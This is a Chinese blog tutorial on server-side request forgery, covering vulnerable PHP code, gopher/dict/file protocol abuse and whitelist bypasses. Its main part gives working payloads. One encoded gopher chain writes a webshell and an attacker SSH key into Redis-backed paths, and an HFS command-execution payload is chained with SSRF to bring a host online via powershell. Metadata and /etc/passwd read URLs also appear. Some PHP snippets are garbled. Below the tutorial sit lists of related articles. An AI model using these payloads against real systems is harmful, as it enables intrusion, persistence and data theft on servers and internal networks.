SSRF深入各种高级实战用法

SSRF漏洞技术解析与实战防御指南 2. 敏感数据泄露:读取本地文件(file:///etc/passwd)或访问云服务元数据(如AWS的169.254.169.254)。url=http://169.254.169.254/latest/meta-data/:读取云服务器元数据。2. 支持非常规协议:允许使用file://、dict://、gopher://等危险协议。1. 内网探测与端口扫描:通过SSRF绕过网络边界,探测内网服务(如Redis、数据库)。- gopher://:构造TCP流量攻击内网服务(如Redis未授权访问)。 阅读详情

简介

什么是SSRF?服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统
​

0x0 前期准备

1.phpstudy

1.SSRF常见的攻击手法

漏洞产生SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制,如PHP中的curl_exec、file_get_contents、fsockopen

1.1 curl_exec

<?php
function curl($url){
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_exec($ch);
    curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>

1.2 file_get_contents

<?php
if(isset($_GET('file'])&&$_GET('file'] !=nulL) {
  $filename = $GET('file']:
  $str = file_get_contents ($filename);
  echo Sstr:
}
?>

1.3 fsockopen

<?php
function Getfile($host, $port, $link){
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
    if(!$fp){
        echo "$errstr (error number $errno) \n";
    }else{
        $out = "GET $link HTTP/1.1\r\n";
        $out .= "HOST $host \r\n";
        $out .= "Connection: Close\r\n\r\n";
        $out .= "\r\n";
        fwrite($fp, $out);
        $content = '';
        while(!feof($fp)){
            $contents .= fgets($fp, 1024);
        }
        fclose($fp);
        return $contents;
    }
}
查看curl的版本和该版本支持的协议

​在这里插入图片描述

1.判断SSRF

一般SSRF存在于通过Interface去请求,外部链接资源,或者内部连接资源,如api开放平台的某处调用
​在这里插入图片描述

一般来说,我们可以通过提交URL地址去探测此接口是否存在ssrf,探测一般分为两种,一种是无回显型一种是回显型,有回显的就比较明显,会将获取到的数据直接返回,无回显可以通过响应时间,还有DNSlog去探测。
​

在这里插入图片描述

在这里插入图片描述

2.SSRF与协议

一、gopher

互联网上使用的分布型的文件搜集获取网络协议,是一种分布式文档传递服务,也叫万金油协议,可以拿此协议作为POST、GET请求去发包,也可以去攻击redis、ftp、telnet、mysql等

gopher利用对应版本

php >=5.3
java <=jdk1.7

gopher协议格式:

gopher://ip:port/_payload
gopher://IP:port/_后接TCP数据流
使用gopher协议进行发包时,回车换行需要使用%0d%0a(/r/n)替换,并且url编码
tcpdump抓取redis通信数据包,监听eth0网卡上的6379端口

tcpdump -i eth0 port 6379 -w redis.pcap
​

在这里插入图片描述

正常连接redis,并尝试通讯
​
在这里插入图片描述

分析数据包,查看tcp流
​在这里插入图片描述

通过数据包可以分析,每一行命令为一个数组,如set ceshi "123"为一个三个元素的数组,所以开头的标识符*为3,每个元素的长度都由$标识,现在就完全了解redis通讯数据包的格式了,我们直接使用gopher协议对redis进行交互

我们尝试通过redis通讯数据包格式去发送gopher协议请求

*3
$3
set
$5
ceshi
$3
1234
exit

URL编码:

%2a%33%0a%24%33%0a%73%65%74%0a%24%35%0a%63%65%73%68%69%0a%24%33%0a%31%32%33%34%0a%65%78%69%74
​

在这里插入图片描述

需要替换换行符%0a为%0d%0a,单个%0a,http协议无法去识别为回车换行,在协议中对于回车换行,只能用通过%0d%0a来识别,%0d%0a的也就是\r\n回车符和换行符
在这里插入图片描述

​
收到请求结果,最终payload为:

gopher://192.168.124.18:6379/_%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%35%0d%0a%63%65%73%68%69%0d%0a%24%33%0d%0a%31%32%33%34%0d%0a%65%78%69%74%0d%0a

在这里插入图片描述

2.在存在web的情况下写webshell

config set dir /var/www/html/
config set dbfilename ceshi.txt
set shell "ceshi123456"
save

tcp数据流

*4
$6
config
$3
set
$3
dir
$14
/var/www/html/
*4
$6
config
$3
set
$11
dbfilename
$9
ceshi.txt
*3
$3
set
$5
shell
$6
123456
save

如果是linux,同时也可以通过写入ssh公钥进行登录

set  margin  "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDr6sOA325MhcQUUknax18ZY9+I/t8LUzPqaD1eX/covADk/nbqcdohGhziCqNIicwdsSoSGu94Y1sauZfocDIIxsfvacFERhmjOXuO2MwxwBRjhblaMUnf3z/pWHjGC03olnkC7JzCIxydkoWRjuEZSbjYSvFvW70P0phyjQ6uYeBXZ32WWEB3iBDW7RGUI/UqmTYr5dWVnzbPsebNqVlCbfvBCGAGC3BmmZs2xoD8gFltru4BraBhMc3a5KCJrpuHVkC+5HxrzpTkFUIxIF2MgdC4XEtFgJUPyXE9kL94/Y/xgVtxFzeyYURPyN0Ps LSgyJopIkSTQh/+/u+46MlXWZb+8LjdafSy9vglbiCir7u9rQGB8eqo8iBzfSZpDmJi0GqFJioWs5yF0guw06OEoC52cf8q2568zsdp8B4VBW1cSTPTaAdv9aEbn6qANLjigSIFMApW3eU5jEECawXts9Z7v9CfKd2Z3rHuIV4pl85emdv51fXyPiV1wf0m2zs= root@kali\n\n\n"
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save

当然我们也可以用工具去编码数据流,一个一个去数数组还有元素效率确实不高
比如:https://github.com/firebroo/sec_tools/blob/master/redis-over-gopher/redis-over-gopher.py

gopher post请求

发送post请求可以直接去burp里抓包,然后编码,再通过gopher协议去请求,通过burp抓到的包就是原始的http数据流,不需要像redis一样去数数组元素
在这里插入图片描述

gopher协议下的post请求必须要包含四个字段 POST、Host、Content-Type、Content-Length

POST / HTTP/1.1
Host: 192.168.124.9:8013
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

a=1

​在这里插入图片描述
在这里插入图片描述

二、dict

1.什么是dict?

dict 协议可以加载一个 tcp 端口的提供的服务所返回的部分数据,在ssrf中通常用于作为端口探测,类似于telnet 协议。也可以通过dict去查看curl的版本信息,直接通过nc监听,访问
dict协议格式:
dict://127.0.0.1:port/payload
比如向未授权的redis发起请求http://192.168.2.169:8012/ssrf.php?url=dict://172.16.122.5:6379/info,可以看到redis的基本配置信息

三、file

file协议格式:
file://file

四、http/s

http/s协议格式:
http://
https://
通常也作为端口探测,效果类似于dict,也是会返回服务的部分数据

0x2 进阶之SSRF

前言:某次hw遇到的突发奇想,通过外网找到一个SSRF触发点,通过http协议去去扫描存在的web,找到一个hfs,通过ssrf+配合hfs成功上线

1.SSRF+HTTP File Server

漏洞版本:HTTP File Server 2.3c及之前版本
Payload:
?search==%00{.exec|cmd /c command.}
?search==%00{.exec|command.}
可以通过hfs去添加用户或者执行上线命令
​
在这里插入图片描述

正常访问通过ssrf访问到hfs
​
在这里插入图片描述

ssrf+powershell上线
​
在这里插入图片描述

当然在实测中肯定需要绕过杀软的方式,这个就要自己去研究了

0x3 SSRF绕过

1.白名单绕过
只允许访问指定domain或者指定ip时,可以通过http认证来绕过
如果ssrf只允许访问百度:http://127.0.0.1/ssrf.php?url=https://www.baidu.com
我们的目标是绕过百度访问到搜狗
我们只需要通过http认证的格式去绕过:
http://127.0.0.1/ssrf.php?url=https://www.baidu.com@www.sogou.com
实现效果如下:

搭建一个伪造的http认证
​在这里插入图片描述

在ssrf触发点,通过http认证的格式去访问
​在这里插入图片描述

抓取取到认证信息
​
在这里插入图片描述

同理绕过百度,访问到搜狗
​
在这里插入图片描述

通过SSRF击穿内网!kali-ssrf靶场实战! SSRF攻击如何利用服务端穿透内网防护?本文基于国光老师靶场手把手复现攻击链,详解协议漏洞利用及内网端口扫描技巧,深度拆解SQL注入,请求权限限制等防御方案,助你构建企业级SSRF漏洞防护体系! 阅读详情

相关推荐

CTF SSRF漏洞实战:从原理到高级绕过与Redis攻击

服务器端请求伪造(SSRF)是一种常见的Web安全漏洞,其核心原理在于应用程序未对用户可控的URL输入进行充分校验,导致攻击者能够诱使服务器向内部或外部资源发起非预期请求。理解SSRF的技术价值在于,它能够绕过防火墙限制,将服务器作为跳板,访问或攻击其所在内网中的敏感服务,如数据库、缓存系统或管理后台。在CTF竞赛和实战渗透测试中,SSRF常被用于内网探测、端口扫描,甚至通过Gopher协议攻击Redis等服务以获取服务器权限。本文以ctfshow平台SSRF题目为例,深入解析了如何利用file、dict、

afeyfre41671的博客 435

【SSRF漏洞】实战演示 超详细讲解

通过SSRF漏洞的学习,我发现SSRF漏洞果然比CSRF漏洞的利用的局限性要小,并且SSRF漏洞对内网的一些应用危害比较大。所以在开发过程中,警惕大家要尽量避免产生SSRF漏洞。

qinshuoyang1的博客 2357

SSRF漏洞WAF绕过实战:从原理到高级对抗技巧

服务端请求伪造(SSRF)是一种常见的安全漏洞,它允许攻击者诱使服务器向内部或外部任意地址发起请求,从而可能访问到受保护的内部网络资源或敏感数据。其核心原理在于应用程序未对用户可控的URL输入进行充分校验和限制,便直接发起网络请求。在工程实践中,Web应用防火墙(WAF)是防御此类攻击的关键组件,它通过规则引擎对出站请求的URL、协议、主机名等特征进行深度检测与过滤。为了有效防护,WAF通常采用IP/域名黑名单、正则匹配、DNS重解析等多层机制。然而,攻击者常利用URL解析差异、协议特性及DNS重绑定等技术

weixin_30239339的博客 394

SSRF一篇文章实战举例全面学懂

上面这篇文章真的写的很好,是目前看过最好的将SSRF(服务端请求伪造)和Gopher协议的内容。然后这种题型,我记得在之前的文章,金砖里有个云启的练习,用的就是SSRF漏洞+file协议,呜呜呜那时候还不知道是啥。现在回首原来如此。

书山有路勤为径,学海无涯苦作舟 1394

SSRF漏洞实战:从内网探测到Redis、FastCGI攻击与高级绕过技巧

服务端请求伪造(SSRF)是一种常见的Web安全漏洞,其核心原理在于攻击者能够诱使服务器向任意内部或外部网络地址发起非预期的请求。这种能力的技术价值在于穿透网络边界,将原本仅暴露于外网的Web应用,转变为攻击内网关键系统(如数据库、缓存服务、管理后台)的跳板。在工程实践中,SSRF常被用于内网资产发现、端口扫描,并进一步结合特定协议(如Gopher、Dict)攻击Redis、Memcached、FastCGI/PHP-FPM等高危服务,最终实现权限获取与横向移动。本文通过真实案例,深入剖析了如何利用SSRF

weixin_34314962的博客 434

SSRF漏洞深度解析:从原理、高级绕过到实战防御

服务器端请求伪造(SSRF)是一种常见且危害巨大的Web安全漏洞,其核心原理在于应用程序信任了用户可控的URL输入,并以此在服务器端发起网络请求。由于服务器通常位于受信任的内网环境,攻击者可利用此漏洞作为跳板,访问外部无法直接触及的内部资源,如数据库、缓存服务或云平台元数据接口,从而将攻击面从单一应用扩展到整个内网。在云原生和微服务架构普及的今天,SSRF常与云服务元数据接口、Redis未授权访问等风险点结合,演变为获取临时凭证、实现内网横向移动甚至远程代码执行(RCE)的突破口。理解其触发场景(如远程资源

B1334628598的博客 493

Gopherus工具完全指南:如何利用SSRF漏洞获得RCE的终极武器

Gopherus是一款强大的安全测试工具,专门用于生成gopher链接以利用服务器端请求伪造(SSRF)漏洞并在各种服务器中获得远程代码执行(RCE)权限。对于网络安全爱好者和渗透测试人员来说,这是一款不可或缺的终极武器,能够帮助安全专家快速验证和利用SSRF漏洞,提升网络安全防护能力。 ## 为什么选择Gopherus? 在网络安全领域,SSRF漏洞是一种常见且危害极大的安全隐患。攻击者可以

gitblog_00916的博客 677

【Pikachu】SSRF(Server-Side Request Forgery)服务器端请求伪造实战

尽人事以听天命

1557

Web安全攻防实战笔记:327页从原理到防御的完整指南

Web安全是网络安全领域的核心,其本质在于理解数据在客户端与服务器端交互过程中的潜在风险。其基本原理涉及对用户输入验证、输出编码、会话管理及访问控制等关键环节的深入剖析。掌握这些原理的技术价值在于,能够系统性地识别和防御SQL注入、XSS(跨站脚本攻击)、SSRF(服务端请求伪造)等常见漏洞,从而构建稳固的应用安全防线。在实际应用场景中,无论是开发、运维还是专职安全人员,都需要一套从漏洞原理、工具使用到实战绕过与防御构建的完整知识体系。本文基于一份详实的327页实战笔记,深入探讨了Web安全攻防的完整路径,

weixin_30896511的博客 332

车辆横向控制MPC实战:从‘老王模型’到CasADi求解的保姆级避坑指南

本文详细解析了车辆横向控制MPC的实战应用,从经典动力学模型选择到CasADi求解器的优化配置,提供了一套完整的避坑指南。重点介绍了车辆动力学模型的验证要点、CasADi环境的高效配置技巧以及MPC问题建模的核心要素,帮助开发者快速实现稳健的横向控制方案。

weixin_42524499的博客 346

宇树G1嵌入式软件架构及技术实现

该架构通过硬件加速(FPGA)+确定性调度(RTX5)的组合,在1ms控制周期内完成从传感器采集到43轴输出的全链路处理,相比波士顿动力系统缩短40%的着地稳定时间。,结合ARM Cortex-R5与FPGA的异构计算能力,实现43自由度1kHz实时控制。

m0_60674045的博客 4311

requests从菜鸟脚本到企业级SDK的网络实战圣经专栏大纲

本文档是关于Python requests库的详细教程专栏,分为基础篇(17章)、中级篇(14章)和高级篇(7章)。专栏采用四段式结构(痛点分析→剧本对话→代码实战→总结思考),涵盖从HTTP协议基础到企业级SDK构建的全链路内容。基础篇重点讲解requests核心概念、HTTP方法、URL参数、请求头处理、响应解析、异常处理、Session管理、超时重试、文件上传等实战技能。针对不同读者群体(开发/测试/运维/架构师)提供了差异化的学习路径建议。

davidwang456的专栏 628

3GPP协议解读_物理层系列(一)_物理层协议怎么看?

5G NR相关协议一般都在38系列,点进去以后可以看到,38.2xx系列为物理层相关协议,为了掌握物理层相关知识,应该怎么看协议呢?我建议从38.201读起,对38.2xx系列协议有一个整体的把握。

JCMLSY的博客 1329

CTF Web方向解题全攻略:从信息收集到getshell(附实战payload与脚本)

陷阱说明只测一种闭合方式SQL注入卡死,多试组合忽视源码注释Flag/账号常在HTML注释中盲目跑sqlmap过滤导致误判,先手工确认忽略响应头X-Hint/Server常给关键线索跳过信息收集直奔漏洞漏掉备份源码/隐藏接口上传成功但马不解析未找对解析路径或未配htaccess时间盲注阈值过低网络抖动误判,阈值要大以为没回显就没漏洞改用带外/盲注WAF绕过只用一种组合多维度绕过更有效阶段学习重点实践入门HTTP基础、SQL基础、PHP基础、常见漏洞概念。

xlb8888888的博客 1083

CTFHUB------XSS反射型(WP)

文章目录前言XSS测试平台 前言 一开始我直接在上面写js脚本发现出错,最后发现只能通过下面的输入框来执行XSS测试,于是我们只能用XSS测试平台解决问题 XSS测试平台 注册一个XSS测试平台 这里随便填写 勾选默认模块就够了,点击下一步 这时会出现一个找个将代码复制 拼接到网站后缀name后面,点击send 这时平台会收到一个记录点开即可 得到flag ...

Y4tacker的博客 1万+

5、自动化代码结构与运维系统的优化

本文探讨了自动化代码结构与运维系统的优化方法,涵盖审批流程的模块化设计、日志记录与工单系统的集成、通知方式的选择、错误处理的策略以及持续改进的实践。同时,深入分析了运维盲目性问题,通过故障案例揭示了关键指标缺失和日志未充分利用的弊端,提出了开发与运维角色转变的必要性。文章还介绍了如何生成有用的系统指标、建立良好的日志习惯以及实施日志聚合,以提升系统的可观测性和可靠性。最终通过总结和流程图展示了优化措施的核心要点,为构建高效、可靠的运维体系提供了指导。

pp12345的博客 71

2025版Web安全实战指南:从协议、浏览器到逻辑漏洞的体系化攻防

Web安全的核心在于理解数据在客户端与服务器之间交互的规则与风险。其基础建立在HTTP/HTTPS协议、浏览器安全模型(如同源策略)以及会话管理机制之上。这些技术原理共同构成了现代Web应用安全的基石,其价值在于为数据保密性、完整性和可用性提供底层保障。在实际应用场景中,任何对这些基础规则的误解或配置不当,都可能演变为严重的安全漏洞,例如会话劫持、跨站脚本或权限绕过。本文聚焦于体系化构建Web安全知识,并深入探讨SQL注入、SSRF等核心攻击面的手动挖掘与防御实践,旨在为开发者与安全爱好者提供一份贯穿学习、

weixin_27199085的博客 313

手把手教你学Simulink--基于Simulink的微电网用DC-DC变换器仿真建模

微电网概述微电网:包括可再生能源发电设备、储能系统和负载,可以独立于大电网运行,也可以并网运行。重要性提高能源可靠性:通过本地化供电减少对外部电网的依赖。促进可再生能源利用:支持高效整合多种可再生能源。挑战多源管理:不同类型的能源产生方式各异,需设计灵活的电源管理系统。能量转换效率:需要高效的能量转换装置来确保能源的有效利用。通过上述步骤,我们简要介绍了如何基于Simulink进行微电网中DC-DC变换器的仿真建模。

MHD0815的博客 161

SSRF漏洞

SSRF漏洞总结

Dikesi的博客 1466

Python爬虫教程:抓取Android或iOS应用中的数据

随着智能手机的普及,移动应用程序已经成为我们生活中不可或缺的一部分。从社交媒体、在线购物到金融服务和健康管理,几乎所有领域都有相应的手机应用程序(App)服务用户。而这些应用程序通常会存储大量的数据,例如用户行为、产品信息、订单记录等。如果我们能有效地抓取这些数据,可以为数据分析、商业智能、用户行为分析等提供有力支持。本文将重点介绍如何使用Python爬虫技术抓取Android或iOS应用中的数据,尤其是如何从这些应用的后端接口、存储、或网页中提取数据。我们将探讨如何通过反向工程技术访问移动应用中的API接

2201_76125261的博客 802

OTG原理讲解

摘要:USB OTG(On-The-Go)是USB 2.0的重要功能,允许设备在主机和从机间动态切换,实现设备间的直接通信。其核心机制是通过ID引脚电平判断角色:Micro-USB中接地为Host,悬空为Device;USB-C则通过CC引脚协商。电路设计需处理ID引脚连接和VBUS电源控制,MCU根据ID状态配置USB控制器模式。典型应用包括手机连接U盘、键盘等外设,极大扩展了移动设备的连接能力。

m0_49476241的博客 3223

csrf与ssrf学习笔记

受害者需已登录目标系统,且浏览器会自动携带身份凭证(如 Cookie)。恶意网站 B 触发对网站 A 的请求(自动携带用户 Cookie)。:URL 参数处理(如图片加载、网页代理、Webhook 回调等)。:利用用户已登录的合法身份,在用户不知情的情况下发起恶意请求。网站 A 误认为请求来自用户本人,执行操作(如转账、改密)。:利用服务端发起未授权的内部或外部请求,探测或攻击内网资源。用户访问恶意网站 B,B 诱导用户点击链接或加载资源。:检查请求来源是否合法(注意隐私和误判问题)。

lsswyy的博客 1133

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

SSRF漏洞实战指南:从原理到内网漫游与高级利用

服务器端请求伪造(SSRF)是一种常见且危害严重的安全漏洞,其核心原理在于服务器对用户提供的URL参数缺乏充分验证,导致攻击者能够诱使服务器向内部网络或特定资源发起非预期请求。从技术价值看,SSRF漏洞之所以备受关注,在于它能够绕过防火墙等边界安全设备,直接访问受保护的内部服务,成为攻击者进入内网的“跳板”。在应用场景上,SSRF常出现在远程资源加载、第三方API代理、Webhook配置及各类需要服务器对外发起网络请求的功能中。随着云原生和微服务架构的普及,内网服务愈发复杂,SSRF的利用面也随之扩大,常与

weixin_30571465的博客 349

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

CSRF vs SSRF详解

(Spring Security示例)诱导用户点击后,观察后台权限变更日志。(Linux防火墙策略)(Java白名单校验)通过SSRF漏洞执行。

ai0070411的博客 866

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

SSRF 高级绕过:从内网探测到云上 AK/SK 接管

场景价值仅内网访问探测内部架构,攻击内网脆弱服务云环境直接拿到云账号权限,影响范围巨大配合其他漏洞SSRF + 文件上传、SSRF + XXE、SSRF + SQL 注入等。

m0_73407070的博客 872

探索 SSRF-King:一个实战型的 SSRF 漏洞学习平台

探索 SSRF-King:一个实战型的 SSRF 漏洞学习平台 是一个专为网络安全爱好者和专业人士打造的在线实践平台,专注于 Server-Side Request Forgery(SSRF)漏洞的学习与研究。通过提供一系列精心设计的挑战,它帮助用户深入理解 SSRF 的概念、攻击方式以及防御策略。 技术分析 SSRF 概念: SSRF 漏洞允许攻击者利用服务器作为代理,发起对内部网络的请求。这可...

gitblog_00064的博客 597
上一篇: 跌跌撞撞的攻防打点
G0mini
博客等级 码龄4年 2粉丝 4原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值